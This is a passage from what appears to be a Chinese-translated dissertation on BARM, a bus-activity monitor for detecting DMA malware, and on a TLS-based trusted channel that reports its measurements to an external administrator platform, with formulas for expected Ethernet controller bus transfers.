另一种局限性来自于我们利用一种 DMA 恶意软件范例来测试 BARM 这一事实。尽管 DAGGER 代表了典型的 DMA 恶意软件，即它必须在宿主内存中搜索有价值数据、并不要求同宿主软件进行任何合作，以及通过系统内存接口访问主内存，我们仍然不能排除可能有其他 DMA 恶意软件实现机制以绕过 BARM。例如，理论上对手可以试图利用每个采样区间（参见图 5.5）中的 2 T 总线传输。这意味着对手可以隐藏多达 2 T 的总线传输，如果有可能预测到非常精确的时刻，在此，BARM 认为 T 是太少的总线传输。

然而，即使对手找到了某种方式以利用每个采样区间中的 2 T 总线传输，这也会导致查找有价值的宿主数据的搜索阶段更加迟缓。这 2 T 的总线传输明显少于在一个采样区间内通常可供对手使用的总线传输。与之相反，取决于在宿主内存中查找目标数据的搜索时间，宿主 CPU 可以利用延迟的搜索以进行例如重新安排内存地址空间等行动。这将会迫使对手重启搜索阶段。因此，BARM 应该利用额外的 DMA 恶意软件范例进行测试，以确认 BARM 也能检测除了 DAGGER 以外的 DMA 恶意软件。

诸如以太网控制器等总线主控可以试图绕过 BARM，通过 (i) 忽略将要通过 DMA 被复制的数据的源地址，以及 (ii) 利用由需要被复制以攻击宿主内存的数据长度决定的总线传输数量。源地址和长度是在例如宿主想要发送一个网络数据包时由宿主提供的。对手只需利用由此长度确定的总线传输数量。因此，BARM 不会检测到任何额外的总线活动，由于对手将非法总线传输伪装成了预期总线传输。此类攻击可以看作由网卡引导的中间人攻击。为了能够成功引导这种中间人攻击，攻击者还需要准确地确定预期的以太网控制器总线传输的数量。第 6 章呈现了如何考虑由网卡引导的中间人攻击。这一章还展示了正确的预期以太网控制器总线传输数量难于计算（相对于 UHCI 控制器）。因此，对手必须在计算预期的以太网控制器总线传输时考虑由此造成的潜在的性能开销。

5.5 本章小结

在本章中，我们展示了宿主 CPU 能够检测源自受到攻击的外设的额外的，即隐秘的和恶意的主内存访问，其基本理念是内存总线是一种共享资源，攻击者不能绕过它而攻击平台的主内存。这是攻击者的死穴，而我们则利用它来构建我们的检测模型。我们对通过宿主系统软件而获知的预期总线活动和实际总线活动进行比较。实际总线活动之所以可以被监测，是由于该总线是一种共享资源这一事实。我们开发了概念验证实现 BARM 并且利用最多 5 个总线主控评估了我们的方法，这其中包括现代计算机平台中最为重要的总线系统（PCIe、FSB、内存总线）。BARM 还可以在受到攻击的外设造成任何伤害之前将其识别出来并且禁用。

由于宿主 CPU 可以检测 DMA 攻击，我们得出结论，即宿主 CPU 可以防御自身而无需对固件或者硬件进行任何修改。平台用户不必须依靠诸如 I/OMMU 等预防性机制。我们选择实现一种能够永久监控总线活动的运行时监控策略。我们的监控策略考虑到了瞬时攻击。相关工作章节（参见 3.2 节）所呈现的反制措施，诸如签名固件和基于延时的证言等并未考虑瞬时攻击。与基于延时的证言方法，参见 3.2.3 节，相比，BARM 可以通过较少的努力而实现，并且无需关于外设的固件或者硬件的内部工作方式的知识细节。

我们同样鉴定了当前的 BARM 实现的局限性，诸如理论上可被利用的每个采样区间中的总线传输范围（2 T），或者某种由以太网控制器引导的可能的中间人攻击。BARM 不能检测由网卡实施的中间人攻击，而这可以被基于延时的证言方法揭示出来。这样的攻击也可以通过以某种可信信道 [52] 的形式应用端对端安全性来防止。我们在第 6 章采用可信信道的概念以使得 BARM 能够检测中间人攻击。此外，我们的 BARM 评估显示了性能开销是可忽略的。因此，我们得出结论，即我们的方法可以在实践中被部署。

第 6 章向外部平台进行合法报告

在互联网上使用加密，就像安排一辆装甲车将信用卡信息从一位住在纸箱里的人那里送到一位住在公园长椅上的人那里。——Gene Spafford，计算机科学教授

我们实现一种用于状态报告的合法信道应用的动机是将 BARM 的测定结果发送至某个被保护起来以防止 DMA 攻击的外部平台。此外部通讯伙伴可以评估所传输的测定结果以检查其对端是否被 DMA 恶意软件所攻击。此测试结果基于处理器寄存器的值（参见 5.2 节）。为了排除网卡上的恶意软件修改并且伪造流出的网络数据包，我们需要一种安全的通讯信道。这样一种信道不仅仅保证所传送的数据的机密性、完整性和新鲜性，而且还能保证信道端点的合法性。为了实现这样一种信道，我们采用了我们于早期工作 [52，10] 中所呈现的一种可信信道的概念。

可信信道是这样一种通讯信道，它不仅实现了安全信道的属性，并且额外地将通讯端点的状态信息绑定到通讯会话。基于 IPSec 或者 TLS 部署一种安全信道对于我们的案例来说并不足够。基于 IPSec 或者 TLS 的安全信道能够保证所传送的数据的机密性、完整性和新鲜性。然而，这些信道并未绑定到实际的通讯端点。我们为 BARM 实现基于可信信道的报告应用是为了至少能够防止下列攻击。这些攻击可以由执行于网卡上的恶意软件所引导。此类恶意软件可以通过拦截或者损坏流出的网络数据包来阻止 BARM 同外部平台进行通讯。攻击者还可以利用这样的恶意软件来通过 DMA 偷取存在于宿主的主内存中的用于该安全信道的密钥素材。随后，攻击者就可以引导中间人攻击。此恶意软件还可以中继来自第三方平台的平台状态信息。这意味着可以通过引导 中继攻击 来欺骗管理员平台。

对于我们的合法报告信道，我们至少要求安全信道的属性（要求 R1）以保证所传输的数据的机密性、完整性和新鲜性 [参见 52，p.32]。机密性属性保证攻击者只能得到最小化的信息。完整性属性保证了损坏的网络数据包将会被立即揭示出来。新鲜性属性防止攻击者引导重放攻击，在此，一次有效的通讯会话被记录下来并且在随后被重放。为了揭示对包括平台状态信息在内的数据包的拦截攻击，我们引入了所谓的心跳消息作为负载，它必须在通讯会话过程中被发送。计算机科学中的心跳是这样一种信号，即对应的软件仍然在线并且正在运行 [132]。

心跳消息包含当前的 BARM 测定结果，而如果某次攻击被阻止，则还包括日志信息。如果由于攻击而导致网卡被终止，则心跳消息不再被外部平台接收到。此行为将会被外部平台解读为基于网卡的攻击。被传送的信息还包括状态改变。状态改变同样被可信信道概念所考虑 [52，10]，但是缺少如同在 BARM 中所实现的那样的具有可忽略的性能开销的高效并且有效的运行时监控 [参见 52，p.36]：“某一平台的状态改变将会被 CM（一种假想的高效监控代理）注意到……”在我们的 DMA 恶意软件场景中，BARM 代表了缺失的“监控代理”。

与前期工作 [52，10] 相比，用于我们的 DMA 恶意软件场景的信任和对手模型并不要求由 TCG 所提议的可信计算机制，参见 2.7 节。我们的信道并不基于 TPM，由与我们并不依赖加载时的代码完整性检查，参见 3.2.1 节。从信道到存储于 TPM 中的加载时测定结果的连接在我们的应用中并非必需。我们要求由 BARM 确定的结果被绑定到我们的信道（要求 R2）。这在通讯会话协商以及通讯会话本身的过程中都是必要的。

请注意，我们并不依赖诸如 Intel 的 VT-d 实现等 I/OMMU 机制。这是与我们的早期工作 [52] 中的信任模型之间的另一个差别。此技术在我们的结果被发表 [52] 之前不久被引入。这意味着先前的作者并未遇到如 4.5.1 节所呈现的 I/OMMU 问题。先前的工作假设存在能够正确配置 I/OMMU 的驱动程序。对于本工作，我们更加详细地分析了 I/OMMU，并且我们决定并不依赖 VT-d 用于我们的合法报告信道。我们的先前工作还引入了关于隐私的要求（要求 R3）。这意味着此信道只考虑了最少的信息范型以便将平台状态信息的公开最小化到仅仅包含基本必要信息。

本章的主要贡献如下：

将网卡排除在端点之外的合法报告信道：执行于网卡上的恶意软件能够从主内存中偷取私钥素材以引导中间人攻击。因此，我们开发了一种合法报告信道，它保证只有宿主 CPU 才是通讯的端点。我们的信道基于安全信道协议 TLS。我们采用 TLS 协议以交换 BARM 测定结果，并且将此信道绑定到其本意的端点上。我们的通讯信道的一个额外特性是平台状态改变的报告。这意味着我们的运行时监视器 BARM 通过合法报告信道持久性地将与 DMA 恶意软件有关的每一次状态改变传送至通讯伙伴。我们对于 TLS 的修改基于 TLS 扩展。这意味着我们的信道符合 TLS 规范。我们的 TLS 合规信道是首个考虑到了与 DMA 恶意软件相关的平台状态报告的信道。它还是首个基于一种已实现的、有效和高效的运行时监视器以报告状态改变的信道。先前的工作仅仅预设了这样一种运行时监视器的存在。
对于以太网控制器的分析：我们的通讯信道要求使用网卡。因此，以太网控制器将会引发总线传输。这些总线传输必须被 BARM 所考虑。本章展示了以太网控制器可以被如何整合进 BARM 的检测模型，即如何将以太网控制器用作一个额外的总线代理。
利用一个新的参数改良 BARM 的检测模型：以太网控制器传输数据包，其大小大于地址指针和击键码。我们展示了对于 BARM 的检测模型而言，缓存线的大小是一个重要参数。缓存线大小对于正确计算预期总线传输数量是必要的。
利用额外的性能监视单元事件：我们展示了某些性能监视单元配置可以被利用以区分内存读取总线传输和内存写入总线传输。这允许我们检查由以太网控制器所造成的预期读取总线传输和预期写入总线传输的数量是否被 BARM 的检测模型所正确地确定。

下一节以对合法报告信道的描述开始。随后，我们将会解释我们如何实现这一模型。

6.1 独立于实现的模型

我们的信道模型考虑了客户端 C（目标平台）和服务器 S（外部平台）之间的通讯。每个端点都可以请求该端的平台状态信息（即 BARM 测定结果）。本地安全策略决定了该端的平台状态信息被评估之后准确地将会发生什么。我们的合法报告信道由宿主 CPU 软件所控制。此信道可以通过一块潜在地被攻击的网卡来进行协商。我们在下一节描述了一种用于协商和维持一条合法报告信道的高级协议。请注意，在下文中，我们省略了上标 C 和 S，由于该协议的对称特征。

6.1.1 协商一条合法报告信道

我们的合法报告信道的重要理念之一是防止平台外设访问诸如私钥素材等与此信道相关的敏感信息。只有宿主 CPU 软件被允许使用信道的敏感信息。请注意，外设可以通过 DMA 偷取这些信息。然而，BARM 将会揭示并且终止此类 DMA 攻击，参见 5.3.3 节。图 6.1 描述了为 BARM 协商一条合法报告信道的握手协议。为了引导握手，双方需要一组签名密钥 K_sign，它是非对称密钥对，即 K_sign := (PK_sign, SK_sign)。更进一步地，双方都需要一份证书 Cert，它包含 PK_sign，以及宿主 CPU 软件组件标识符（BARM_ID）。此证书由可信实体签发，该实体可以是外部管理员平台。签名密钥和证书是在协商一条合法报告信道之前创建的。每个端点验证其对端的包含 BARM_ID 的证书。

图 6.1 协商一条合法报告信道

在客户端 C（目标平台）和服务器 S（例如外部管理员平台）之间协商一条合法报告信道

NIC：网卡
K_sign：绑定到宿主 CPU 软件组件的非对称签名密钥对 (PK_sign, SK_sign)
PK：公钥
SK：私钥
Cert：绑定到宿主 CPU 软件组件的密钥对的经过验证的公钥部分
BARM_ID：宿主 CPU 软件组件标识符
sec_param：所要求的安全性参数
state_data：由 BARM 测定得到的平台状态数据
SigStD：平台状态数据的签名
SeKey：会话密钥

此信道的创建始于安全性参数的协商。这意味着每个实体以安全性参数的形式将其证书证书和安全性要求发送至其对端。此安全性参数决定了哪些实体需要报告其平台状态信息。每个端点检查其对端的安全性要求是否可接受。在下一步中，每个实体将其平台状态数据（当前 BARM 测定结果）发送至对端。此状态数据经过数字签名，并且对应的签名连同状态数据一同传送。这保证了所接收到的状态数据是由预期的通讯伙伴所发送的。双方利用由该端作为其证书 Cert 的一部分而发送的 PK_sign 验证签名。如果签名有效，则双方验证状态数据。此握手可能会由于攻击该端的 DMA 恶意软件而取消。这是当所传送的 BARM 测定结果大于容错值 T（参见 5.2.2 节）时所发生的事情。当客户端和服务器都成功验证了所交换的数据以后，同一会话的密钥被双方平台所计算并且确认。此计算出来的会话密钥将会被绑定到此通讯会话。在合法通讯会话确认就绪以后，双方开始周期性地发送心跳消息。

状态改变

心跳消息要么确认当前平台状态，要么报告某种状态改变。被报告的平台状态可以揭示该端正在受到 DMA 恶意软件的攻击，此时该可疑外设可以被终止，或者并未检测到攻击。如果该端停止发送心跳消息，则本地平台假设该端受到了执行于网卡上的 DMA 恶意软件的攻击。在此情况下，BARM 已经通过终止网卡而成功地终结了正在进行中的 DMA 攻击。取决于本地安全策略，此平台可以中断该信道，继续当前会话密钥，或者重新协商此信道。如果心跳消息报告此次攻击可以被立即终止并且本地安全策略宣称此类案例是可容忍的，则继续当前会话密钥是有利的。更准确地说，如果平台在没有受到影响的外设的情况下仍然能够正常工作，则这可能是有意义的。在涉及管理员平台的情况下，我们期待管理员将会尽快更加详细地分析此次攻击，以便从受到攻击的外设中移除 DMA 恶意软件，或者如果绝对必要，将受到攻击的外设或者芯片组替换为良好的。

6.2 用于 BARM 的合法报告信道的实现

第 5 章所述的 BARM 并不足以用于基于合法信道的报告应用。当 BARM 发送网络数据包时，它也会造成需要被 BARM 本身的检测模型所考虑的总线活动。为了为我们的 DMA 恶意软件场景实现一种合法信道应用，我们已经 (i) 改良了 BARM 的检测模型，参见 6.2.1 节，以及 (ii) 修改了 TLS 协议以便将 BARM 测定结果（状态信息）绑定到该信道，参见 6.2.2 节。

6.2.1 总线主控分析：以太网控制器

为了在 BARM 的检测模型中考虑以太网适配器，我们必须确定预期的总线活动值 A_e^ETH。因此，我们为我们的目标平台的以太网控制器引入了如 5.2.1 节所述的类似的总线主控分析。我们分析了与之前的实验相同的目标平台的以太网控制器（其名称为 Ethernet Controller: Intel Corporation 82566DM-2 Gigabit Network Connection (rev 02) [65]），参见第 4 章和第 5 章。对应的以太网控制器的 Linux 设备驱动程序为 e1000e.ko。为了简化我们的分析，我们将此驱动程序配置为使用传统中断，没有中断延时或者中断限速。我们同样禁用了该网络设备的校验和和段卸载。

此以太网控制器利用所谓的描述符环进行工作，即传送描述符环和接收描述符环，参见图 6.2。每个环包括 256 个描述符。每个描述符的大小为 16 字节。这意味着该设备驱动程序为每个环分配 4096 字节。如果宿主想要发送网络数据包，它需要准备传输描述符并且通知以太网控制器新的描述符已经处理就绪。以太网控制器通过 DMA 从宿主内存中读取描述符。在评估描述符之后，此控制器将网络数据包的数据从存在于描述符中的宿主内存地址（参见图 6.2）复制到其内部的内存，以便能够发送数据包。如果以太网控制器已经处理了描述符，则该控制器通过 DMA 向描述符的 status 字段写入 descriptor done bit 位，以便将该描述符“返回”宿主。当接收网络数据包时，其过程与之类似，除了以太网控制器是将网络数据包的数据写入宿主内存以外。

图 6.2 传送 / 接收描述符环的结构

当设备驱动程序通知网卡新的网络数据包已经准备好可供传送时，以太网控制器从描述符环中读取传送描述符。此控制器还会从宿主内存地址读取存储于描述符的 length 字段中的对应数据包的大小，而此地址存储于该描述符的 address 字段。当描述符处理完毕时，以太网控制器向描述符的 status 字段写入 descriptor done bit 位。当新的网络数据包通过网络到达时，以太网控制器从描述符环读取接收描述符。随后，此控制器向宿主内存地址中写入存储于描述符的 length 字段中的对应数据包的大小。此地址存储于描述符的 address 字段。如果此描述符处理完毕，以太网控制器向描述符的 status 字段写入 descriptor done bit 位。

缓存线大小

为了将以太网控制器作为一个总线主控整合进 BARM 的检测模型中来，我们必须考虑网络数据包的大小通常大于击键码这一事实，参见 5.2 节。击键码是通过一次总线传输完成的。这并不适用于网络数据包，例如后者可能拥有 1514 字节的大小。为了能够确定传输一定数量的数据需要多少次总线传输，我们引入一个新的参数，即 缓存线大小。系统缓存被组织为缓存线。内存访问被处理为具有 C ∈ N [参见 127，p.223] 的特定大小的缓存线。对于我们的平台，C 为 64 字节 [参见 63，p.17]。这意味着，如果从主内存中请求一个字，则一次内存传输中实际传输了 64 字节。假设在宿主内存中相邻存储的数据很可能在一次后续的操作中被访问，如果是这样，则这些字节已经位于缓存中，并且无需额外的传输。外设的内存访问同样是以缓存线的方式被处理的。有可能必须对这样一次传输进行嗅探以保证具有一致性的缓存线 [参见 63，p.27]。

对于 e1000e.ko 驱动程序的描述符转储描述了网络数据包的宿主内存地址，参见图 6.3。次转储也揭示了并非每个地址都是按照缓存线对齐的。这意味着通过 DMA 传输该网络数据包数据所需的总线传输次数并不一定就是存储于 length 字段中的值除以缓存线大小。另一个重要问题于接收描述符的处理相关。根据 Intel [65]，以太网控制器对返回接收描述符的过程进行了优化。这意味着，当接收数据包时，以太网控制器并非为每一个描述符都单独写入 descriptor done bit 位。与之相反，它会“集齐”属于同一缓存线的 4 个描述符以便能够在一次总线传输中写入 4 个 descriptor done bit 位，参见图 6.2。我们为计算由以太网控制器所造成的预期总线传输的公式同时考虑了这两种场景。

图 6.3 e1000e.ko 驱动程序的传送 / 接收描述符转储

此转储揭示了导出由以太网控制器所造成的总线传输数量所必需的最重要信息。某些宿主内存地址并未对齐到缓存线，这可能导致一次额外的总线传输。

以太网控制器的预期总线活动

根据我们的分析，我们将以太网控制器的预期总线活动定义如下：

A_e^ETH = A_e^TX_reads + A_e^TX_writes + A_e^RX_reads + A_e^RX_writes （公式 6.1）

A_e^TX_reads 是传送数据包时的内存读取所造成的预期总线活动。A_e^TX_writes 代表此过程中由内存写入所造成的活动。类似地，A_e^RX_reads 和 A_e^RX_writes 被引入以考虑接收网络数据包时的总线活动。为了计算 A_e^TX_reads，A_e^TX_writes，A_e^RX_reads，和 A_e^RX_writes，对于一个 BARM 采样区间，我们必须考虑被读取和写入的内存缓冲区的缓存线大小。这意味着对于在宿主内存中用于存储网络数据包数据的内存缓冲区，我们必须对齐内存缓冲区的起始地址，它存储于描述符的 address 字段（hma ∈ N），将其对齐到上一段与缓存线相对齐的地址。其结果为 ba_start ∈ N：

ba_start = hma - (hma mod C) （公式 6.2）

内存缓冲区的结束地址（ba_end ∈ N），它是描述符中的 address 字段的值（hma）和 length 字段的值（len ∈ N）之和，的对齐方式如下：

ba_end = hma + len + C - ((hma + len) mod C) （公式 6.3）

描述符的传输要求同样的对齐方式。传输起始地址由之前的采样区间（d_old ∈ N）的最后一个描述符的描述符编号所决定。传输结束地址由当前采样区间（d_cur ∈ N）的最后一个描述符的描述符编号所决定。在考虑到缓存线大小时，描述符编号 d_start ∈ N 和 d_end ∈ N 的对齐结果如下所示（D ∈ N 是描述符的字节数，即在我们的案例中是 16 字节）：

d_start = old_d - ((old_d * D) mod C) / D （公式 6.4）

d_end = (cur_d * D + C - ((cur_d * D) mod C)) / D （公式 6.5）

对于一个采样区间，A_e^TX_reads，A_e^TX_writes，A_e^RX_reads，和 A_e^RX_writes 的计算如下：

A_e^TX_reads = ∑_n=1^{cur_d^TX - old_d^TX} (1 + (ba_end_n^TX - ba_start_n^TX) / C) （公式 6.6）

有必要为每一个传送描述符增加一次内存读取的总线访问，由于对应的描述符存取（根据我们的实验）并非按照缓存线优化。这与写入 descriptor done bit 位的处理方式不同。在此种情况下，以太网控制器试图写入尽可能多的 descriptor done bit 位。对于一次总线传输的最大值是 4 位。

A_e^TX_writes = (d_end^TX - d_start^TX) * D / C （公式 6.7）

在接收网络数据包时，内存读取仅仅会由于存取接收描述符而产生。我们已经确定，以太网控制器在我们的实验过程中利用一次内存读取总线传输存取 4 个接收描述符（等于缓存线大小）。我们在下列公式中利用带有 N 的指示函数：N := {n ∈ [old_d^RX, cur_d^RX] | (n * D mod C) = 0 }：

A_e^RX_reads = ∑^{cur_d^RX}_{n=old_d^RX} 1_N(n) （公式 6.8）

由于内存写入造成的预期总线传输数量如下：

A_e^RX_writes = (∑_n=1^{cur_d^RX - old_d^RX} (ba_end_n^RX - ba_start_n^RX) / C) + (d_end^RX - d_start^RX) * D / C （公式 6.9）

我们预期网络数据包数据必须被复制到宿主内存并且对应的 descriptor done bit 位将会被写入到宿主内存中的描述符。

利用额外的 `BUS_TRANS` 事件

我们利用更多的 BUS_TRANS 事件计数器验证了公式 6.1，它们基本上是事件 BUS_TRANS_MEM 的子集，参见图 6.4。我们确定了事件计数器 BUS_TRANS_P 对外设的内存读取进行计数，而事件计数器 BUS_TRANS_INVAL 对外设的内存写入进行计数。我们将这些计数器配合 THIS_AGENT 和 ALL_AGENTS 的名称扩展共同使用，如 5.2.1 节所述，以区分由宿主 CPU 造成的总线传输和由外设造成的总线传输。在我们的实验中并未发生 BUS_TRANS_BURST 事件。当 e1000e.ko 驱动程序函数 e1000_clean_tx_irq 和 e1000_clean_rx_irq 被调用时，由以太网控制器造成的总线传输根据公式 6.1 被计算出来。我们改良了由 5.2.2 节引入的 BARM 以考虑如本节所述的 A_e^ETH。

图 6.4 BUS_TRANS 事件计数器

BUS_TRANS_P，BUS_TRANS_INVAL，和 BUS_TRANS_BURST 计数之和为 BUS_TRANS_MEM 计数结果 [71]。

6.2.2 基于 OpenSSL 的实现

OpenSSL 是一种流行的软件工具套件，它实现了诸如 SSL/TLS 协议以及 X.509 证书的加 / 解密等密码学机制。此工具套件为开发者提供了共享库，即 libssl 和 libcrypto。openssl 命令行工具同样使用了这些库。需要使用由 OpenSSL 提供的密码学机制的应用程序可以直接使用这些库。注意，本节所呈现的实现基于我们 [10] 之前的可信信道实现。我们的修改基于 TLS 以及与 TLS 相关的 征求意见稿（RFC）文档，即 RFC4366 和 RFC4680。因此，这些修改符合 TLS 规范。

用于协商安全信道的会话密钥的 TLS 握手协议需要被适配以考虑 BARM 的测定结果。在握手阶段考虑这些测定结果使得该端能够确定目标平台是否已经受到 DMA 恶意软件的攻击。这有助于该端决定目标平台是否可信。如果另一个端点被认为不可信，则该端可以终止合法报告信道的握手。注意，基于我们的信任模型，我们将宿主 CPU 视为信道的一个端点。诸如网卡等其他计算环境不属于端点。我们利用非对称密码学机制和证书来认证端点。在下列段落中，我们将会描述所使用的密钥交换和证书。我们同样描述用于 TLS 的 Hello 消息的扩展。针对 TLS 协议的扩展由 Dierks 和 Rescorla [38] 所考虑。为了传送 BARM 测定结果（平台状态数据），需要使用额外的握手信息。我们出于此目的使用 补充数据 消息。

密钥交换类型

我们关于合法报告信道的实现基于 TLS Diffie-Hellman 短寿命 RSA（DHE-RSA）握手 [脚注 17] 的一种适配版本。这意味着，为了认证端点数据，一组 RSA 签名密钥对将会被使用。而对于会话密钥的协商，Diffie-Hellman 值将会被使用。被传送至该端的 Diffie-Hellman 公开部分是由 RSA 签名密钥对的私钥部分签名的。

脚注 17：如我们的前期工作 [10] 所述，诸如 RSA 和 DH-RSA 等密钥交换方法也可被用于实现一种基于可信信道的合法报告应用。

端点证书

为了认证端点，证书（参见图 6.6 和图 6.7 中的 cert）在 TLS 握手阶段被交换。当使用 DHE-RSA 时，证书通过包含签名密钥对 K_sign := (SK_sign, PK_sign) 的公钥部分 PK_sign 的证书消息而被交换。我们必须保证私钥 SK_sign 仅对该端点可用。我们的认证包含一个与 BARM 相关的标识符以使得基于 TLS 的合法报告信道被绑定到该端点。包含 BARM 标识符的证书由可信的第三方签发，它能够担保目标平台上的 BARM 的正确安装，以及私钥部分 SK_sign 仅对该端点可用。因此，证书 cert 将签名密钥 K_sign 同执行 BARM 的端点关联起来。密钥对 K_sign 必须被用于认证在握手过程中由客户端 C 和服务器 S 所发送的数据。这最终将所传送的平台状态数据绑定到此合法报告信道。负责担保正确的 BARM 安装以及签名密钥的私钥部分 SK_sign 的可信第三方可以是同时运行评估平台的管理员。此评估平台从目标平台接收平台状态信息（BARM 测定结果）。所使用的证书实际上是包含 BARM 相关标识符的正常 TLS 证书。此证书连同签名密钥对 K_sign 由 BARM 一同部署，并且被看作长寿命的。

对 Hello 消息的修改

我们利用 ClientHello 和 ServerHello 消息来协商用于合法报告信道的安全性参数，参见图 6.6。运行 BARM 的客户端平台 C 启动适配的 TLS 客户端并且向服务器平台 S 发送 ClientHello 消息。服务器以 ServerHello 消息作为回应。这些 Hello 消息包含对应端的安全性参数 sec_param（参见 6.1 节），参见图 6.6。此安全性参数决定了哪些端点必须提供平台状态数据，即 BARM 测定结果。我们使用 Hello 消息扩展 [38] 来交换安全性参数。我们的基于 OpenSSL 的实现使用 TLS Hello 扩展，如 RFC4366 [14] 所述。OpenSSL 的某个补丁（0.9.8.x）实现了 Hello 扩展，参见图 6.5 [脚注 18]。此补丁修改了与 libssl 库相关联的代码。我们将此补丁用于我们的合法报告信道应用实现。

脚注 18：此 TLS Hello 扩展和补充数据补丁可以在此找到：http://openssl.6102.n7.nabble.com/PATCH-TLS-hello-extensions-and-supplemental-data-td38202.html [访问于 2014 年二月 25 日]

图 6.5 考虑了 Hello 扩展和补充数据扩展的 TLS 握手

此 ClientHello 消息包含 client data 而 ServerHello 消息包含 server data。额外的 SupplementalData 包含 client supplemental data 和 server supplemental data。补充数据也被看作 TLS 扩展（基于 [142]）。

图 6.6 用于合法报告信道的适配的 TLS-DHE-RSA 握手 (a)

我们针对 TLS 握手所作的修改以粗体高亮显示。适配的握手在图 6.7 中继续。

图 6.7 用于合法报告信道的适配的 TLS-DHE-RSA 握手 (b)

在握手完成之后，合法报告信道被用于 BARM 以便以某种常规的区间来传送心跳消息以通讯平台状态改变，即报告一次基于 DMA 恶意软件的攻击。

此补丁提供了一个接口以允许开发者注册新的 TLS 扩展 [参见 142]。由 TLSEXT_GENERAL 对象所表示的 TLS 扩展用于传送通用数据。使用 TLS 的应用程序指定此通用数据的数据格式。TLS 扩展包括一种类型、数据长度、通用数据（类型——长度——值格式），以及某些用于实现所需的扩展逻辑的标识 [脚注 19] 和回调函数。回调函数（参见图 6.5）只会在实例化了对应的 TLSEXT_GENERAL 对象的端上被触发。通过一条 Hello 消息所传送的通用数据是一个通用数据项。在我们的实现中，通过 Hello 消息（Hello 扩展）所交换的 TLS 扩展是：

ARCH_NEGOTIATION_EXT：用于我们的合法报告信道（ARCH）的这一扩展（EXT）被用于协商安全性参数 sec_param。

脚注 19：这些扩展标识包括 client_required（当此标识被设置时，如果服务器忽略此扩展，则客户端将会终止协商），server_send（当此标识被设置时，服务器将会发送此扩展），以及 received（内部使用，例如用于检查重复）。

客户端和服务器都需要注册 Hello 扩展（TLSEXT_GENERAL 对象），如果它们想要处理这些扩展。如果某端收到一条包含已注册的扩展的 Hello 消息，则该端调用对应扩展的回调函数，如图 6.5 所示。

用于平台状态数据的补充数据消息

客户端 C 和服务器 S 都能够提供平台状态数据。我们使用由 互联网工程任务小组之网络小组 在 RFC4680 [113] 中所指定的所谓 SupplementalData 消息来传送平台状态数据。OpenSSL 补丁（0.9.8.x）[脚注 20] 同样实现了用于 OpenSSL 的 SupplementalData 消息。此补丁的实现细节由 Davide Vernizzi [142] 所解释。如 RFC4680 所述，补充数据也可被用于传送通用数据。由该端决定是否需要利用 Hello 扩展来传送通用数据。此 OpenSSL 补丁还允许我们定义那些我们需要用于我们的合法报告信道的补充数据扩展。补充数据扩展同样包含一种类型、通用数据、数据长度，以及回调函数。利用 SupplementalData 消息传送的补充数据可以是若干通用数据的栈。在我们的实现中，通过 SupplementalData 消息来交换通用数据的扩展包括：

ARCH_SUPP_DATA_C_EXT：此扩展用于将平台状态数据 PSD^C（补充数据）从客户端 C 传送至服务器 S。
ARCH_SUPP_DATA_S_EXT：此扩展用于将平台状态数据 PSD^S（补充数据）从服务器 S 传送至客户端 C。

脚注 20：参见脚注 18。

此打过补丁的 OpenSSL 软件如图 6.5 所示处理通用数据。同属 TLS 扩展的回调函数被调用以根据所要求的扩展逻辑来处理通用数据。与 Hello 扩展类似，客户端和服务器都必须注册那些它们想要通过对应的补充数据回调函数来处理的补充数据扩展。图 6.6 和 6.7 描述了我们的通用数据（Hello 扩展以及补充数据扩展）是在适配的 TLS 握手期间利用回调函数来处理的。

在我们的概念验证实现中，用于通过补充数据来交换平台状态数据 PSD 的通用数据格式非常简单：

barm_measurement：此数据字段包含由 BARM Linux 内核模块进行的 BARM 测定的结果
设备标识对列表：我们使用设备标识对列表来通讯某个外设是否在攻击目标平台。第一个标识代表对应设备是否开始攻击宿主，并且如果是这样，第二个标识表明此恶意设备是否能够被终止。此设备标识对列表的形式如下：
- (uhci_attack, uhci_disabled)：此标识对代表 UHCI 控制器。
- (..._attack, ..._disabled)：[其他设备]。
- (me_attack, me_disabled)：此标识对代表管理引擎。
nonceSD：nonceSD 包含两个元素：
- nonce^C (client_random)
- nonce^S (server_random)

平台状态数据 PSD 上的签名 Sig_PSD 也是通过 SupplementalData 消息发送至该端的，参见图 6.6 和 6.7。通过如此做，平台状态数据 PSD 也被绑定到对应的安全信道。包括于补充数据中的 nonceSD 被同 nonce^C 和 nonce^S（通过 Hello 消息所发送）进行比较以保证所接收到的平台状态数据 PSD 的新鲜性。为了认证平台状态数据 PSD 并且检查其完整性，我们使用签名密钥对的私钥部分 SK_sign 来签名 PSD。为了能够验证此签名，每个端点在传送 SupplementalData 消息完成之后立即利用证书消息提供包含公钥部分 PK_sign 的证书，参见图 6.6 和 6.7。同样作为补充数据的一部分的 BARM 测定结果被评估以导出该端的可信性。取决于所导出的可信性，本地平台根据本地安全策略采取措施。

会话密钥的计算

会话密钥 SeK 照常由双方计算。由于我们使用 DHE-RSA，使用 SeK 的安全信道最终被连接到端点（宿主 CPU）。所交换的 DH 部分利用 K_sign 的私钥部分（SK_sign）签名，它将 DH 值连接到 K_sign。签名密钥对 K_sign 被准确地绑定到一个端点，由于此证书是由可信第三方签发的，它为 SK_sign 仅对该端点可用这一事实进行了担保。因此，此会话密钥也被绑定到该端点。

心跳消息

当握手完成后，BARM 利用此协商好的信道以某个常规的区间将心跳消息发送至外部管理员平台。这些消息以一种类似于握手过程中所使用过的 PSD 格式包含当前 BARM 测定结果和设备标识对列表。只有 nonceSD 缺失。常规的心跳消息被 BARM 用于报告平台状态改变，即一次基于 DMA 恶意软件的攻击。如果外部平台不再收到心跳消息，我们假设网卡试图攻击宿主平台并且 BARM 能够成功地终止该次攻击。也有可能是某个执行于网卡上的恶意软件拦截了心跳消息。如果是这样，则此次攻击同样被揭示出来。

6.3 评估

我们使用与 5.3 节所述的相同的平台和基本评估配置来评估改良的 BARM。请注意，只有客户端平台必须传送平台状态数据。

6.3.1 预期总线活动的验证

